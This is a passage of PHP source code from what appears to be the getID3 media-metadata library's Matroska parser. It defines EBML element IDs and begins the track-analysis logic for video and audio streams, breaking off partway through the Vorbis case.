define('EBML_ID_CODECINFOURL', 0x1B4040); // [3B][40][40] -- A URL to find information about the codec used. define('EBML_ID_PREVFILENAME', 0x1C83AB); // [3C][83][AB] -- An escaped filename corresponding to the previous segment. define('EBML_ID_PREVUID', 0x1CB923); // [3C][B9][23] -- A unique ID to identify the previous chained segment (128 bits). define('EBML_ID_NEXTFILENAME', 0x1E83BB); // [3E][83][BB] -- An escaped filename corresponding to the next segment. define('EBML_ID_NEXTUID', 0x1EB923); // [3E][B9][23] -- A unique ID to identify the next chained segment (128 bits). define('EBML_ID_CONTENTCOMPALGO', 0x0254); // [42][54] -- The compression algorithm used. Algorithms that have been specified so far are: define('EBML_ID_CONTENTCOMPSETTINGS', 0x0255); // [42][55] -- Settings that might be needed by the decompressor. For Header Stripping (ContentCompAlgo=3), the bytes that were removed from the beggining of each frames of the track. define('EBML_ID_DOCTYPE', 0x0282); // [42][82] -- A string that describes the type of document that follows this EBML header ('matroska' in our case). define('EBML_ID_DOCTYPEREADVERSION', 0x0285); // [42][85] -- The minimum DocType version an interpreter has to support to read this file. define('EBML_ID_EBMLVERSION', 0x0286); // [42][86] -- The version of EBML parser used to create the file. define('EBML_ID_DOCTYPEVERSION', 0x0287); // [42][87] -- The version of DocType interpreter used to create the file. define('EBML_ID_EBMLMAXIDLENGTH', 0x02F2); // [42][F2] -- The maximum length of the IDs you'll find in this file (4 or less in Matroska). define('EBML_ID_EBMLMAXSIZELENGTH', 0x02F3); // [42][F3] -- The maximum length of the sizes you'll find in this file (8 or less in Matroska). This does not override the element size indicated at the beginning of an element. Elements that have an indicated size which is larger than what is allowed by EBMLMaxSizeLength shall be considered invalid. define('EBML_ID_EBMLREADVERSION', 0x02F7); // [42][F7] -- The minimum EBML version a parser has to support to read this file. define('EBML_ID_CHAPLANGUAGE', 0x037C); // [43][7C] -- The languages corresponding to the string, in the bibliographic ISO-639-2 form. define('EBML_ID_CHAPCOUNTRY', 0x037E); // [43][7E] -- The countries corresponding to the string, same 2 octets as in Internet domains. define('EBML_ID_SEGMENTFAMILY', 0x0444); // [44][44] -- A randomly generated unique ID that all segments related to each other must use (128 bits). define('EBML_ID_DATEUTC', 0x0461); // [44][61] -- Date of the origin of timecode (value 0), i.e. production date. define('EBML_ID_TAGLANGUAGE', 0x047A); // [44][7A] -- Specifies the language of the tag specified, in the Matroska languages form. define('EBML_ID_TAGDEFAULT', 0x0484); // [44][84] -- Indication to know if this is the default/original language to use for the given tag. define('EBML_ID_TAGBINARY', 0x0485); // [44][85] -- The values of the Tag if it is binary. Note that this cannot be used in the same SimpleTag as TagString. define('EBML_ID_TAGSTRING', 0x0487); // [44][87] -- The value of the Tag. define('EBML_ID_DURATION', 0x0489); // [44][89] -- Duration of the segment (based on TimecodeScale). define('EBML_ID_CHAPPROCESSPRIVATE', 0x050D); // [45][0D] -- Some optional data attached to the ChapProcessCodecID information. For ChapProcessCodecID = 1, it is the "DVD level" equivalent. define('EBML_ID_CHAPTERFLAGENABLED', 0x0598); // [45][98] -- Specify wether the chapter is enabled. It can be enabled/disabled by a Control Track. When disabled, the movie should skip all the content between the TimeStart and TimeEnd of this chapter. define('EBML_ID_TAGNAME', 0x05A3); // [45][A3] -- The name of the Tag that is going to be stored. define('EBML_ID_EDITIONENTRY', 0x05B9); // [45][B9] -- Contains all information about a segment edition. define('EBML_ID_EDITIONUID', 0x05BC); // [45][BC] -- A unique ID to identify the edition. It's useful for tagging an edition. define('EBML_ID_EDITIONFLAGHIDDEN', 0x05BD); // [45][BD] -- If an edition is hidden (1), it should not be available to the user interface (but still to Control Tracks). define('EBML_ID_EDITIONFLAGDEFAULT', 0x05DB); // [45][DB] -- If a flag is set (1) the edition should be used as the default one. define('EBML_ID_EDITIONFLAGORDERED', 0x05DD); // [45][DD] -- Specify if the chapters can be defined multiple times and the order to play them is enforced. define('EBML_ID_FILEDATA', 0x065C); // [46][5C] -- The data of the file. define('EBML_ID_FILEMIMETYPE', 0x0660); // [46][60] -- MIME type of the file. define('EBML_ID_FILENAME', 0x066E); // [46][6E] -- Filename of the attached file. define('EBML_ID_FILEREFERRAL', 0x0675); // [46][75] -- A binary value that a track/codec can refer to when the attachment is needed. define('EBML_ID_FILEDESCRIPTION', 0x067E); // [46][7E] -- A human-friendly name for the attached file. define('EBML_ID_FILEUID', 0x06AE); // [46][AE] -- Unique ID representing the file, as random as possible. define('EBML_ID_CONTENTENCALGO', 0x07E1); // [47][E1] -- The encryption algorithm used. The value '0' means that the contents have not been encrypted but only signed. Predefined values: define('EBML_ID_CONTENTENCKEYID', 0x07E2); // [47][E2] -- For public key algorithms this is the ID of the public key the data was encrypted with. define('EBML_ID_CONTENTSIGNATURE', 0x07E3); // [47][E3] -- A cryptographic signature of the contents. define('EBML_ID_CONTENTSIGKEYID', 0x07E4); // [47][E4] -- This is the ID of the private key the data was signed with. define('EBML_ID_CONTENTSIGALGO', 0x07E5); // [47][E5] -- The algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values: define('EBML_ID_CONTENTSIGHASHALGO', 0x07E6); // [47][E6] -- The hash algorithm used for the signature. A value of '0' means that the contents have not been signed but only encrypted. Predefined values: define('EBML_ID_MUXINGAPP', 0x0D80); // [4D][80] -- Muxing application or library ("libmatroska-0.4.3"). define('EBML_ID_SEEK', 0x0DBB); // [4D][BB] -- Contains a single seek entry to an EBML element. define('EBML_ID_CONTENTENCODINGORDER', 0x1031); // [50][31] -- Tells when this modification was used during encoding/muxing starting with 0 and counting upwards. The decoder/demuxer has to start with the highest order number it finds and work its way down. This value has to be unique over all ContentEncodingOrder elements in the segment. define('EBML_ID_CONTENTENCODINGSCOPE', 0x1032); // [50][32] -- A bit field that describes which elements have been modified in this way. Values (big endian) can be OR'ed. Possible values: define('EBML_ID_CONTENTENCODINGTYPE', 0x1033); // [50][33] -- A value describing what kind of transformation has been done. Possible values: define('EBML_ID_CONTENTCOMPRESSION', 0x1034); // [50][34] -- Settings describing the compression used. Must be present if the value of ContentEncodingType is 0 and absent otherwise. Each block must be decompressable even if no previous block is available in order not to prevent seeking. define('EBML_ID_CONTENTENCRYPTION', 0x1035); // [50][35] -- Settings describing the encryption used. Must be present if the value of ContentEncodingType is 1 and absent otherwise. define('EBML_ID_CUEREFNUMBER', 0x135F); // [53][5F] -- Number of the referenced Block of Track X in the specified Cluster. define('EBML_ID_NAME', 0x136E); // [53][6E] -- A human-readable track name. define('EBML_ID_CUEBLOCKNUMBER', 0x1378); // [53][78] -- Number of the Block in the specified Cluster. define('EBML_ID_TRACKOFFSET', 0x137F); // [53][7F] -- A value to add to the Block's Timecode. This can be used to adjust the playback offset of a track. define('EBML_ID_SEEKID', 0x13AB); // [53][AB] -- The binary ID corresponding to the element name. define('EBML_ID_SEEKPOSITION', 0x13AC); // [53][AC] -- The position of the element in the segment in octets (0 = first level 1 element). define('EBML_ID_STEREOMODE', 0x13B8); // [53][B8] -- Stereo-3D video mode. define('EBML_ID_OLDSTEREOMODE', 0x13B9); // [53][B9] -- Bogus StereoMode value used in old versions of libmatroska. DO NOT USE. (0: mono, 1: right eye, 2: left eye, 3: both eyes). define('EBML_ID_PIXELCROPBOTTOM', 0x14AA); // [54][AA] -- The number of video pixels to remove at the bottom of the image (for HDTV content). define('EBML_ID_DISPLAYWIDTH', 0x14B0); // [54][B0] -- Width of the video frames to display. define('EBML_ID_DISPLAYUNIT', 0x14B2); // [54][B2] -- Type of the unit for DisplayWidth/Height (0: pixels, 1: centimeters, 2: inches). define('EBML_ID_ASPECTRATIOTYPE', 0x14B3); // [54][B3] -- Specify the possible modifications to the aspect ratio (0: free resizing, 1: keep aspect ratio, 2: fixed). define('EBML_ID_DISPLAYHEIGHT', 0x14BA); // [54][BA] -- Height of the video frames to display. define('EBML_ID_PIXELCROPTOP', 0x14BB); // [54][BB] -- The number of video pixels to remove at the top of the image. define('EBML_ID_PIXELCROPLEFT', 0x14CC); // [54][CC] -- The number of video pixels to remove on the left of the image. define('EBML_ID_PIXELCROPRIGHT', 0x14DD); // [54][DD] -- The number of video pixels to remove on the right of the image. define('EBML_ID_FLAGFORCED', 0x15AA); // [55][AA] -- Set if that track MUST be used during playback. There can be many forced track for a kind (audio, video or subs), the player should select the one which language matches the user preference or the default + forced track. Overlay MAY happen between a forced and non-forced track of the same kind. define('EBML_ID_MAXBLOCKADDITIONID', 0x15EE); // [55][EE] -- The maximum value of BlockAddID. A value 0 means there is no BlockAdditions for this track. define('EBML_ID_WRITINGAPP', 0x1741); // [57][41] -- Writing application ("mkvmerge-0.3.3"). define('EBML_ID_CLUSTERSILENTTRACKS', 0x1854); // [58][54] -- The list of tracks that are not used in that part of the stream. It is useful when using overlay tracks on seeking. Then you should decide what track to use. define('EBML_ID_CLUSTERSILENTTRACKNUMBER', 0x18D7); // [58][D7] -- One of the track number that are not used from now on in the stream. It could change later if not specified as silent in a further Cluster. define('EBML_ID_ATTACHEDFILE', 0x21A7); // [61][A7] -- An attached file. define('EBML_ID_CONTENTENCODING', 0x2240); // [62][40] -- Settings for one content encoding like compression or encryption. define('EBML_ID_BITDEPTH', 0x2264); // [62][64] -- Bits per sample, mostly used for PCM. define('EBML_ID_CODECPRIVATE', 0x23A2); // [63][A2] -- Private data only known to the codec. define('EBML_ID_TARGETS', 0x23C0); // [63][C0] -- Contain all UIDs where the specified meta data apply. It is void to describe everything in the segment. define('EBML_ID_CHAPTERPHYSICALEQUIV', 0x23C3); // [63][C3] -- Specify the physical equivalent of this ChapterAtom like "DVD" (60) or "SIDE" (50), see complete list of values. define('EBML_ID_TAGCHAPTERUID', 0x23C4); // [63][C4] -- A unique ID to identify the Chapter(s) the tags belong to. If the value is 0 at this level, the tags apply to all chapters in the Segment. define('EBML_ID_TAGTRACKUID', 0x23C5); // [63][C5] -- A unique ID to identify the Track(s) the tags belong to. If the value is 0 at this level, the tags apply to all tracks in the Segment. define('EBML_ID_TAGATTACHMENTUID', 0x23C6); // [63][C6] -- A unique ID to identify the Attachment(s) the tags belong to. If the value is 0 at this level, the tags apply to all the attachments in the Segment. define('EBML_ID_TAGEDITIONUID', 0x23C9); // [63][C9] -- A unique ID to identify the EditionEntry(s) the tags belong to. If the value is 0 at this level, the tags apply to all editions in the Segment. define('EBML_ID_TARGETTYPE', 0x23CA); // [63][CA] -- An informational string that can be used to display the logical level of the target like "ALBUM", "TRACK", "MOVIE", "CHAPTER", etc (see TargetType). define('EBML_ID_TRACKTRANSLATE', 0x2624); // [66][24] -- The track identification for the given Chapter Codec. define('EBML_ID_TRACKTRANSLATETRACKID', 0x26A5); // [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used. define('EBML_ID_TRACKTRANSLATECODEC', 0x26BF); // [66][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu). define('EBML_ID_TRACKTRANSLATEEDITIONUID', 0x26FC); // [66][FC] -- Specify an edition UID on which this translation applies. When not specified, it means for all editions found in the segment. define('EBML_ID_SIMPLETAG', 0x27C8); // [67][C8] -- Contains general information about the target. define('EBML_ID_TARGETTYPEVALUE', 0x28CA); // [68][CA] -- A number to indicate the logical level of the target (see TargetType). define('EBML_ID_CHAPPROCESSCOMMAND', 0x2911); // [69][11] -- Contains all the commands associated to the Atom. define('EBML_ID_CHAPPROCESSTIME', 0x2922); // [69][22] -- Defines when the process command should be handled (0: during the whole chapter, 1: before starting playback, 2: after playback of the chapter). define('EBML_ID_CHAPTERTRANSLATE', 0x2924); // [69][24] -- A tuple of corresponding ID used by chapter codecs to represent this segment. define('EBML_ID_CHAPPROCESSDATA', 0x2933); // [69][33] -- Contains the command information. The data should be interpreted depending on the ChapProcessCodecID value. For ChapProcessCodecID = 1, the data correspond to the binary DVD cell pre/post commands. define('EBML_ID_CHAPPROCESS', 0x2944); // [69][44] -- Contains all the commands associated to the Atom. define('EBML_ID_CHAPPROCESSCODECID', 0x2955); // [69][55] -- Contains the type of the codec used for the processing. A value of 0 means native Matroska processing (to be defined), a value of 1 means the DVD command set is used. More codec IDs can be added later. define('EBML_ID_CHAPTERTRANSLATEID', 0x29A5); // [69][A5] -- The binary value used to represent this segment in the chapter codec data. The format depends on the ChapProcessCodecID used. define('EBML_ID_CHAPTERTRANSLATECODEC', 0x29BF); // [69][BF] -- The chapter codec using this ID (0: Matroska Script, 1: DVD-menu). define('EBML_ID_CHAPTERTRANSLATEEDITIONUID', 0x29FC); // [69][FC] -- Specify an edition UID on which this correspondance applies. When not specified, it means for all editions found in the segment. define('EBML_ID_CONTENTENCODINGS', 0x2D80); // [6D][80] -- Settings for several content encoding mechanisms like compression or encryption. define('EBML_ID_MINCACHE', 0x2DE7); // [6D][E7] -- The minimum number of frames a player should be able to cache during playback. If set to 0, the reference pseudo-cache system is not used. define('EBML_ID_MAXCACHE', 0x2DF8); // [6D][F8] -- The maximum cache size required to store referenced frames in and the current frame. 0 means no cache is needed. define('EBML_ID_CHAPTERSEGMENTUID', 0x2E67); // [6E][67] -- A segment to play in place of this chapter. Edition ChapterSegmentEditionUID should be used for this segment, otherwise no edition is used. define('EBML_ID_CHAPTERSEGMENTEDITIONUID', 0x2EBC); // [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID. define('EBML_ID_TRACKOVERLAY', 0x2FAB); // [6F][AB] -- Specify that this track is an overlay track for the Track specified (in the u-integer). That means when this track has a gap (see SilentTracks) the overlay track should be used instead. The order of multiple TrackOverlay matters, the first one is the one that should be used. If not found it should be the second, etc. define('EBML_ID_TAG', 0x3373); // [73][73] -- Element containing elements specific to Tracks/Chapters. define('EBML_ID_SEGMENTFILENAME', 0x3384); // [73][84] -- A filename corresponding to this segment. define('EBML_ID_SEGMENTUID', 0x33A4); // [73][A4] -- A randomly generated unique ID to identify the current segment between many others (128 bits). define('EBML_ID_CHAPTERUID', 0x33C4); // [73][C4] -- A unique ID to identify the Chapter. define('EBML_ID_TRACKUID', 0x33C5); // [73][C5] -- A unique ID to identify the Track. This should be kept the same when making a direct stream copy of the Track to another file. define('EBML_ID_ATTACHMENTLINK', 0x3446); // [74][46] -- The UID of an attachment that is used by this codec. define('EBML_ID_CLUSTERBLOCKADDITIONS', 0x35A1); // [75][A1] -- Contain additional blocks to complete the main one. An EBML parser that has no knowledge of the Block structure could still see and use/skip these data. define('EBML_ID_CHANNELPOSITIONS', 0x347B); // [7D][7B] -- Table of horizontal angles for each successive channel, see appendix. define('EBML_ID_OUTPUTSAMPLINGFREQUENCY', 0x38B5); // [78][B5] -- Real output sampling frequency in Hz (used for SBR techniques). define('EBML_ID_TITLE', 0x3BA9); // [7B][A9] -- General name of the segment. define('EBML_ID_CHAPTERDISPLAY', 0x00); // [80] -- Contains all possible strings to use for the chapter display. define('EBML_ID_TRACKTYPE', 0x03); // [83] -- A set of track types coded on 8 bits (1: video, 2: audio, 3: complex, 0x10: logo, 0x11: subtitle, 0x12: buttons, 0x20: control). define('EBML_ID_CHAPSTRING', 0x05); // [85] -- Contains the string to use as the chapter atom. define('EBML_ID_CODECID', 0x06); // [86] -- An ID corresponding to the codec, see the codec page for more info. define('EBML_ID_FLAGDEFAULT', 0x08); // [88] -- Set if that track (audio, video or subs) SHOULD be used if no language found matches the user preference. define('EBML_ID_CHAPTERTRACKNUMBER', 0x09); // [89] -- UID of the Track to apply this chapter too. In the absense of a control track, choosing this chapter will select the listed Tracks and deselect unlisted tracks. Absense of this element indicates that the Chapter should be applied to any currently used Tracks. define('EBML_ID_CLUSTERSLICES', 0x0E); // [8E] -- Contains slices description. define('EBML_ID_CHAPTERTRACK', 0x0F); // [8F] -- List of tracks on which the chapter applies. If this element is not present, all tracks apply define('EBML_ID_CHAPTERTIMESTART', 0x11); // [91] -- Timecode of the start of Chapter (not scaled). define('EBML_ID_CHAPTERTIMEEND', 0x12); // [92] -- Timecode of the end of Chapter (timecode excluded, not scaled). define('EBML_ID_CUEREFTIME', 0x16); // [96] -- Timecode of the referenced Block. define('EBML_ID_CUEREFCLUSTER', 0x17); // [97] -- Position of the Cluster containing the referenced Block. define('EBML_ID_CHAPTERFLAGHIDDEN', 0x18); // [98] -- If a chapter is hidden (1), it should not be available to the user interface (but still to Control Tracks). define('EBML_ID_FLAGINTERLACED', 0x1A); // [9A] -- Set if the video is interlaced. define('EBML_ID_CLUSTERBLOCKDURATION', 0x1B); // [9B] -- The duration of the Block (based on TimecodeScale). This element is mandatory when DefaultDuration is set for the track. When not written and with no DefaultDuration, the value is assumed to be the difference between the timecode of this Block and the timecode of the next Block in "display" order (not coding order). This element can be useful at the end of a Track (as there is not other Block available), or when there is a break in a track like for subtitle tracks. define('EBML_ID_FLAGLACING', 0x1C); // [9C] -- Set if the track may contain blocks using lacing. define('EBML_ID_CHANNELS', 0x1F); // [9F] -- Numbers of channels in the track. define('EBML_ID_CLUSTERBLOCKGROUP', 0x20); // [A0] -- Basic container of information containing a single Block or BlockVirtual, and information specific to that Block/VirtualBlock. define('EBML_ID_CLUSTERBLOCK', 0x21); // [A1] -- Block containing the actual data to be rendered and a timecode relative to the Cluster Timecode. define('EBML_ID_CLUSTERBLOCKVIRTUAL', 0x22); // [A2] -- A Block with no data. It must be stored in the stream at the place the real Block should be in display order. define('EBML_ID_CLUSTERSIMPLEBLOCK', 0x23); // [A3] -- Similar to Block but without all the extra information, mostly used to reduced overhead when no extra feature is needed. define('EBML_ID_CLUSTERCODECSTATE', 0x24); // [A4] -- The new codec state to use. Data interpretation is private to the codec. This information should always be referenced by a seek entry. define('EBML_ID_CLUSTERBLOCKADDITIONAL', 0x25); // [A5] -- Interpreted by the codec as it wishes (using the BlockAddID). define('EBML_ID_CLUSTERBLOCKMORE', 0x26); // [A6] -- Contain the BlockAdditional and some parameters. define('EBML_ID_CLUSTERPOSITION', 0x27); // [A7] -- Position of the Cluster in the segment (0 in live broadcast streams). It might help to resynchronise offset on damaged streams. define('EBML_ID_CODECDECODEALL', 0x2A); // [AA] -- The codec can decode potentially damaged data. define('EBML_ID_CLUSTERPREVSIZE', 0x2B); // [AB] -- Size of the previous Cluster, in octets. Can be useful for backward playing. define('EBML_ID_TRACKENTRY', 0x2E); // [AE] -- Describes a track with all elements. define('EBML_ID_CLUSTERENCRYPTEDBLOCK', 0x2F); // [AF] -- Similar to SimpleBlock but the data inside the Block are Transformed (encrypt and/or signed). define('EBML_ID_PIXELWIDTH', 0x30); // [B0] -- Width of the encoded video frames in pixels. define('EBML_ID_CUETIME', 0x33); // [B3] -- Absolute timecode according to the segment time base. define('EBML_ID_SAMPLINGFREQUENCY', 0x35); // [B5] -- Sampling frequency in Hz. define('EBML_ID_CHAPTERATOM', 0x36); // [B6] -- Contains the atom information to use as the chapter atom (apply to all tracks). define('EBML_ID_CUETRACKPOSITIONS', 0x37); // [B7] -- Contain positions for different tracks corresponding to the timecode. define('EBML_ID_FLAGENABLED', 0x39); // [B9] -- Set if the track is used. define('EBML_ID_PIXELHEIGHT', 0x3A); // [BA] -- Height of the encoded video frames in pixels. define('EBML_ID_CUEPOINT', 0x3B); // [BB] -- Contains all information relative to a seek point in the segment. define('EBML_ID_CRC32', 0x3F); // [BF] -- The CRC is computed on all the data of the Master element it's in, regardless of its position. It's recommended to put the CRC value at the beggining of the Master element for easier reading. All level 1 elements should include a CRC-32. define('EBML_ID_CLUSTERBLOCKADDITIONID', 0x4B); // [CB] -- The ID of the BlockAdditional element (0 is the main Block). define('EBML_ID_CLUSTERLACENUMBER', 0x4C); // [CC] -- The reverse number of the frame in the lace (0 is the last frame, 1 is the next to last, etc). While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback. define('EBML_ID_CLUSTERFRAMENUMBER', 0x4D); // [CD] -- The number of the frame to generate from this lace with this delay (allow you to generate many frames from the same Block/Frame). define('EBML_ID_CLUSTERDELAY', 0x4E); // [CE] -- The (scaled) delay to apply to the element. define('EBML_ID_CLUSTERDURATION', 0x4F); // [CF] -- The (scaled) duration to apply to the element. define('EBML_ID_TRACKNUMBER', 0x57); // [D7] -- The track number as used in the Block Header (using more than 127 tracks is not encouraged, though the design allows an unlimited number). define('EBML_ID_CUEREFERENCE', 0x5B); // [DB] -- The Clusters containing the required referenced Blocks. define('EBML_ID_VIDEO', 0x60); // [E0] -- Video settings. define('EBML_ID_AUDIO', 0x61); // [E1] -- Audio settings. define('EBML_ID_CLUSTERTIMESLICE', 0x68); // [E8] -- Contains extra time information about the data contained in the Block. While there are a few files in the wild with this element, it is no longer in use and has been deprecated. Being able to interpret this element is not required for playback. define('EBML_ID_CUECODECSTATE', 0x6A); // [EA] -- The position of the Codec State corresponding to this Cue element. 0 means that the data is taken from the initial Track Entry. define('EBML_ID_CUEREFCODECSTATE', 0x6B); // [EB] -- The position of the Codec State corresponding to this referenced element. 0 means that the data is taken from the initial Track Entry. define('EBML_ID_VOID', 0x6C); // [EC] -- Used to void damaged data, to avoid unexpected behaviors when using damaged data. The content is discarded. Also used to reserve space in a sub-element for later use. define('EBML_ID_CLUSTERTIMECODE', 0x67); // [E7] -- Absolute timecode of the cluster (based on TimecodeScale). define('EBML_ID_CLUSTERBLOCKADDID', 0x6E); // [EE] -- An ID to identify the BlockAdditional level. define('EBML_ID_CUECLUSTERPOSITION', 0x71); // [F1] -- The position of the Cluster containing the required Block. define('EBML_ID_CUETRACK', 0x77); // [F7] -- The track for which a position is given. define('EBML_ID_CLUSTERREFERENCEPRIORITY', 0x7A); // [FA] -- This frame is referenced and has the specified cache priority. In cache only a frame of the same or higher priority can replace this frame. A value of 0 means the frame is not referenced. define('EBML_ID_CLUSTERREFERENCEBLOCK', 0x7B); // [FB] -- Timecode of another frame used as a reference (ie: B or P frame). The timecode is relative to the block it's attached to. define('EBML_ID_CLUSTERREFERENCEVIRTUAL', 0x7D); // [FD] -- Relative position of the data that should be in position of the virtual block. /** * @tutorial http://www.matroska.org/technical/specs/index.html * * @todo Rewrite EBML parser to reduce it's size and honor default element values * @todo After rewrite implement stream size calculation, that will provide additional useful info and enable AAC/FLAC audio bitrate detection */ class getid3_matroska extends getid3_handler { /** * If true, do not return information about CLUSTER chunks, since there's a lot of them * and they're not usually useful [default: TRUE]. * * @var bool */ public $hide_clusters = true; /** * True to parse the whole file, not only header [default: FALSE]. * * @var bool */ public $parse_whole_file = false; /* * Private parser settings/placeholders. */ private $EBMLbuffer = ''; private $EBMLbuffer_offset = 0; private $EBMLbuffer_length = 0; private $current_offset = 0; private $unuseful_elements = array(EBML_ID_CRC32, EBML_ID_VOID); /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; // parse container try { $this->parseEBML($info); } catch (Exception $e) { $this->error('EBML parser: '.$e->getMessage()); } // calculate playtime if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) { foreach ($info['matroska']['info'] as $key => $infoarray) { if (isset($infoarray['Duration'])) { // TimecodeScale is how many nanoseconds each Duration unit is $info['playtime_seconds'] = $infoarray['Duration'] * ((isset($infoarray['TimecodeScale']) ? $infoarray['TimecodeScale'] : 1000000) / 1000000000); break; } } } // extract tags if (isset($info['matroska']['tags']) && is_array($info['matroska']['tags'])) { foreach ($info['matroska']['tags'] as $key => $infoarray) { $this->ExtractCommentsSimpleTag($infoarray); } } // process tracks if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) { foreach ($info['matroska']['tracks']['tracks'] as $key => $trackarray) { $track_info = array(); $track_info['dataformat'] = self::CodecIDtoCommonName($trackarray['CodecID']); $track_info['default'] = (isset($trackarray['FlagDefault']) ? $trackarray['FlagDefault'] : true); if (isset($trackarray['Name'])) { $track_info['name'] = $trackarray['Name']; } switch ($trackarray['TrackType']) { case 1: // Video $track_info['resolution_x'] = $trackarray['PixelWidth']; $track_info['resolution_y'] = $trackarray['PixelHeight']; $track_info['display_unit'] = self::displayUnit(isset($trackarray['DisplayUnit']) ? $trackarray['DisplayUnit'] : 0); $track_info['display_x'] = (isset($trackarray['DisplayWidth']) ? $trackarray['DisplayWidth'] : $trackarray['PixelWidth']); $track_info['display_y'] = (isset($trackarray['DisplayHeight']) ? $trackarray['DisplayHeight'] : $trackarray['PixelHeight']); if (isset($trackarray['PixelCropBottom'])) { $track_info['crop_bottom'] = $trackarray['PixelCropBottom']; } if (isset($trackarray['PixelCropTop'])) { $track_info['crop_top'] = $trackarray['PixelCropTop']; } if (isset($trackarray['PixelCropLeft'])) { $track_info['crop_left'] = $trackarray['PixelCropLeft']; } if (isset($trackarray['PixelCropRight'])) { $track_info['crop_right'] = $trackarray['PixelCropRight']; } if (!empty($trackarray['DefaultDuration'])) { $track_info['frame_rate'] = round(1000000000 / $trackarray['DefaultDuration'], 3); } if (isset($trackarray['CodecName'])) { $track_info['codec'] = $trackarray['CodecName']; } switch ($trackarray['CodecID']) { case 'V_MS/VFW/FOURCC': getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true); $parsed = getid3_riff::ParseBITMAPINFOHEADER($trackarray['CodecPrivate']); $track_info['codec'] = getid3_riff::fourccLookup($parsed['fourcc']); $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed; break; /*case 'V_MPEG4/ISO/AVC': $h264['profile'] = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 1, 1)); $h264['level'] = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 3, 1)); $rn = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 4, 1)); $h264['NALUlength'] = ($rn & 3) + 1; $rn = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], 5, 1)); $nsps = ($rn & 31); $offset = 6; for ($i = 0; $i < $nsps; $i ++) { $length = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2)); $h264['SPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length); $offset += 2 + $length; } $npps = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 1)); $offset += 1; for ($i = 0; $i < $npps; $i ++) { $length = getid3_lib::BigEndian2Int(substr($trackarray['CodecPrivate'], $offset, 2)); $h264['PPS'][] = substr($trackarray['CodecPrivate'], $offset + 2, $length); $offset += 2 + $length; } $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $h264; break;*/ } $info['video']['streams'][$trackarray['TrackUID']] = $track_info; break; case 2: // Audio $track_info['sample_rate'] = (isset($trackarray['SamplingFrequency']) ? $trackarray['SamplingFrequency'] : 8000.0); $track_info['channels'] = (isset($trackarray['Channels']) ? $trackarray['Channels'] : 1); $track_info['language'] = (isset($trackarray['Language']) ? $trackarray['Language'] : 'eng'); if (isset($trackarray['BitDepth'])) { $track_info['bits_per_sample'] = $trackarray['BitDepth']; } if (isset($trackarray['CodecName'])) { $track_info['codec'] = $trackarray['CodecName']; } switch ($trackarray['CodecID']) { case 'A_PCM/INT/LIT': case 'A_PCM/INT/BIG': $track_info['bitrate'] = $track_info['sample_rate'] * $track_info['channels'] * $trackarray['BitDepth']; break; case 'A_AC3': case 'A_EAC3': case 'A_DTS': case 'A_MPEG/L3': case 'A_MPEG/L2': case 'A_FLAC': $module_dataformat = ($track_info['dataformat'] == 'mp2' ? 'mp3' : ($track_info['dataformat'] == 'eac3' ? 'ac3' : $track_info['dataformat'])); getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.'.$module_dataformat.'.php', __FILE__, true); if (!isset($info['matroska']['track_data_offsets'][$trackarray['TrackNumber']])) { $this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because $info[matroska][track_data_offsets]['.$trackarray['TrackNumber'].'] not set'); break; } // create temp instance $getid3_temp = new getID3(); if ($track_info['dataformat'] != 'flac') { $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); } $getid3_temp->info['avdataoffset'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset']; if ($track_info['dataformat'][0] == 'm' || $track_info['dataformat'] == 'flac') { $getid3_temp->info['avdataend'] = $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['offset'] + $info['matroska']['track_data_offsets'][$trackarray['TrackNumber']]['length']; } // analyze $class = 'getid3_'.$module_dataformat; $header_data_key = $track_info['dataformat'][0] == 'm' ? 'mpeg' : $track_info['dataformat']; $getid3_audio = new $class($getid3_temp, __CLASS__); if ($track_info['dataformat'] == 'flac') { $getid3_audio->AnalyzeString($trackarray['CodecPrivate']); } else { $getid3_audio->Analyze(); } if (!empty($getid3_temp->info[$header_data_key])) { $info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $getid3_temp->info[$header_data_key]; if (isset($getid3_temp->info['audio']) && is_array($getid3_temp->info['audio'])) { foreach ($getid3_temp->info['audio'] as $sub_key => $value) { $track_info[$sub_key] = $value; } } } else { $this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because '.$class.'::Analyze() failed at offset '.$getid3_temp->info['avdataoffset']); } // copy errors and warnings if (!empty($getid3_temp->info['error'])) { foreach ($getid3_temp->info['error'] as $newerror) { $this->warning($class.'() says: ['.$newerror.']'); } } if (!empty($getid3_temp->info['warning'])) { foreach ($getid3_temp->info['warning'] as $newerror) { $this->warning($class.'() says: ['.$newerror.']'); } } unset($getid3_temp, $getid3_audio); break; case 'A_AAC': case 'A_AAC/MPEG2/LC': case 'A_AAC/MPEG2/LC/SBR': case 'A_AAC/MPEG4/LC': case 'A_AAC/MPEG4/LC/SBR': $this->warning($trackarray['CodecID'].' audio data contains no header, audio/video bitrates can\'t be calculated'); break; case 'A_VORBIS': if (!isset($trackarray['CodecPrivate'])) { $this->warning('Unable to parse audio data ['.basename(__FILE__).':'.__LINE__.'] because CodecPrivate data not set'); break; } $vorbis_offset = 